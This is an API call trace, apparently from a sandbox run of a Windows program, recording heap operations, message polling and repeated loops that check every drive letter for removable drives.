[0170.616] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf368 [0170.616] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0170.617] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.617] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0170.617] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0170.617] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0170.617] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0170.618] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0170.618] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0170.618] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0170.619] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0170.619] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0170.620] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0170.620] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0170.620] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0170.621] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0170.621] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0170.621] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0170.622] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0170.622] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0170.622] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0170.623] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0170.623] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0170.623] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0170.624] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0170.624] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0170.624] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0170.624] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0170.625] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0170.625] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0170.625] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf368 | out: hHeap=0xe80000) returned 1 [0170.625] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a48 | out: hHeap=0xe80000) returned 1 [0170.625] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769a0 | out: hHeap=0xe80000) returned 1 [0170.626] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1640 | out: hHeap=0xe80000) returned 1 [0170.626] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf268 | out: hHeap=0xe80000) returned 1 [0170.626] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0170.626] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768c8 [0170.626] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf408 [0170.626] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768e0 [0170.626] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a30 [0170.626] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0170.626] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.626] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0170.626] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a18 [0170.626] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf268 [0170.626] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xefe538 [0170.626] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768f8 [0170.626] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.627] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a18 | out: hHeap=0xe80000) returned 1 [0170.627] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768f8 | out: hHeap=0xe80000) returned 1 [0170.627] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefe538 | out: hHeap=0xe80000) returned 1 [0170.627] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf268 | out: hHeap=0xe80000) returned 1 [0170.627] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0170.627] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec690 [0170.627] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.627] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec690 | out: hHeap=0xe80000) returned 1 [0170.628] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.628] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2e20 | out: hHeap=0xe80000) returned 1 [0170.628] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0170.628] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3a8 | out: hHeap=0xe80000) returned 1 [0170.628] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a30 | out: hHeap=0xe80000) returned 1 [0170.628] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768e0 | out: hHeap=0xe80000) returned 1 [0170.628] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768c8 | out: hHeap=0xe80000) returned 1 [0170.628] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf408 | out: hHeap=0xe80000) returned 1 [0170.629] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0170.629] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0170.629] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.629] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0170.629] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0170.629] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.629] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf268 [0170.629] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2b50 [0170.629] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.630] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2b50 | out: hHeap=0xe80000) returned 1 [0170.630] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf268 | out: hHeap=0xe80000) returned 1 [0170.630] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1076868 [0170.630] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2b50 [0170.630] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.630] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0170.630] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1640 [0170.630] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769a0 [0170.630] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0170.630] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a90 [0170.630] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0170.631] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076aa8 [0170.631] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a18 [0170.631] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf288 [0170.631] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf368 [0170.631] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0170.631] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.631] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0170.631] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0170.631] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0170.631] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0170.631] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0170.632] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0170.632] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0170.632] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0170.632] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0170.632] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0170.633] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0170.633] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0170.633] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0170.633] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0170.633] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0170.635] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0170.635] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf368 | out: hHeap=0xe80000) returned 1 [0170.635] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a90 | out: hHeap=0xe80000) returned 1 [0170.635] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769a0 | out: hHeap=0xe80000) returned 1 [0170.635] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1640 | out: hHeap=0xe80000) returned 1 [0170.730] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0170.730] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076aa8 | out: hHeap=0xe80000) returned 1 [0170.730] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.730] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a90 | out: hHeap=0xe80000) returned 1 [0170.730] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768c8 | out: hHeap=0xe80000) returned 1 [0170.730] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefe718 | out: hHeap=0xe80000) returned 1 [0170.730] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2b8 | out: hHeap=0xe80000) returned 1 [0170.730] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.730] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.730] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.730] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.730] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.731] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.731] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.731] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.731] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.731] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.731] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.731] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.731] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.731] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.731] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.732] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.732] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.732] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.732] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.732] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.732] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.732] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.732] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.732] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.732] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.732] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.733] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.733] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.733] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.733] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.733] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.733] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.733] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.733] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.733] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.733] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.733] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.733] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.733] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.733] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.734] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.734] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.734] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.734] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.734] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.734] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.734] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.734] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.734] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.734] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.734] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.734] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.734] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.735] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.735] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.735] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.735] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.735] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.735] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.735] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.735] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.735] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.735] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.735] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.735] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.735] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.736] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.736] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.736] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.736] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.736] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.736] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.736] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.736] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.736] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.736] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.736] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.736] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.737] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.737] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.737] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.737] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.737] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.737] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.737] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.737] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.737] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 